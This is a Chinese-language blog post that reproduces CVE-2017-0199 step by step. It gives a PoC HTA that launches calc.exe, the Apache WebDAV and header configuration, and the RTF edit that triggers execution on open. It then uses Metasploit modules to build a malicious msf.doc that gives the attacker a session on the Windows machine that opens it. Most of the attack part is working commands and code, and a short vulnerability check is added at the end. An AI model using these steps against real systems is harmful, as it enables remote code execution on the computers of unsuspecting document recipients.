CVE-2017-0199漏洞复现过程
记录一下过程,周日已经出了结果,但是过程忘记了,抽空再次实现了一下。结尾附上利用MSF生成exploit(外国黑客城会玩)。
准备工作
一台apache服务器(这里我用Kali)、POC和一个Word文档。 POC内容大概如下:
Default
1 2 3 4 |
<script> a=new ActiveXObject("WScript.Shell"); a.run('%windir%\\System32\\cmd.exe /c calc.exe', 0);window.close(); </script> |
Word文档内容任意。然后将其放在Kali服务器上 Apache需要开启DAV支持,具体命令如下
Default
1 2 3 4 |
a2enmod dav a2enmod dav_fs a2enmod dav_lock a2enmod headers |
测试过程
在web目录新建ms文件夹,将test.docx复制到ms目录下,并重命名为test.rtf
Default
1 |
[email protected]:~/Documents# cp test.docx /var/www/html/ms/test.rtf |
新建Word文档,插入对象 如图并保存为rtf文件,如233.rtf 删除服务器上的test.rtf文件 并将poc.hta文件复制到ms目录下,并改名为test.rtf
Default
1 2 |
[email protected]:/var/www/html/ms# rm -rf test.rtf [email protected]:~/Documents# cp poc.hta /var/www/html/ms/test.rtf |
修改Apache配置
Default
1 2 3 4 5 6 7 |
<Directory /> Dav on </Directory>
<Directory /var/www/html/ms/> Header set Content-Type "application/hta" </Directory> |
并重启服务器service apache2 restart 打开233.rtf文档 双击word文档的文字,将会有惊喜弹出
打开文档就弹出的话需要将\object\objautlink\rsltpict修改为 \object\objautlink\objupdate\rsltpict
再次打开文件
彩蛋(MSF下的实现)
在kali下执行。 首先更新msf到最新。(假设你们都完成了这个过程)
下载利用脚本
Default
1 2 3 |
[email protected]:/usr/share/metasploit-framework/modules/exploits/windows/fileformat# wget https://raw.githubusercontent.com/nixawk/metasploit- framework/3d082814cbedc065f329498b9c6fb7951f8ebbd5/modules/exploits/windows/fileformat/office_word_hta.rb |
然后msf下执行命令reload_all重新加载模块下载rtf文件到/usr/share/metasploit-framework/data/exploits目录
Default
1 2 3 4 |
cd /usr/share/metasploit-framework/data/exploits
wget https://raw.githubusercontent.com/nixawk/metasploit- framework/3d082814cbedc065f329498b9c6fb7951f8ebbd5/data/exploits/cve-2017-0199.rtf |
开启HTA服务
Default
1 2 3 |
msf > use exploit/windows/misc/hta_server msf exploit(hta_server) > show options msf exploit(hta_server) > run |
生成EXPLOIT文档
Default
1 2 3 4 5 |
msf exploit(hta_server) > use exploit/windows/fileformat/office_word_hta msf exploit(office_word_hta) > show options msf exploit(office_word_hta) > set TARGETURI http://192.168.232.134:8080/4Jmy4cmcZZV7pwi.hta msf exploit(office_word_hta) > set FILENAME msf.doc msf exploit(office_word_hta) > run |
将生成的msf.doc文件复制到windows上,打开即可获取一个会话 如下所示
WIndows下结果
Kali下结果
附加
如何判断是否收到影响(2017.04.19)
新建word文档->插入->对象->对象->由文件创建 在文件名中输入获取的hta链接,并选中链接到文件 如果出现如下结果,则说明收到影响如果仅仅出现下面的弹窗,则说明不瘦影响,就不需要接下来的测试了。。
主机和虚拟机镜像采用的同一套系统,Office用的也一样,但是虚拟机不可以,而主机可以。我也不知道为啥····
参考文章
http://rewtin.blogspot.nl/2017/04/cve-2017-0199-practical-exploitation-poc.html?m=1 https://github.com/rapid7/metasploit-framework/pull/8254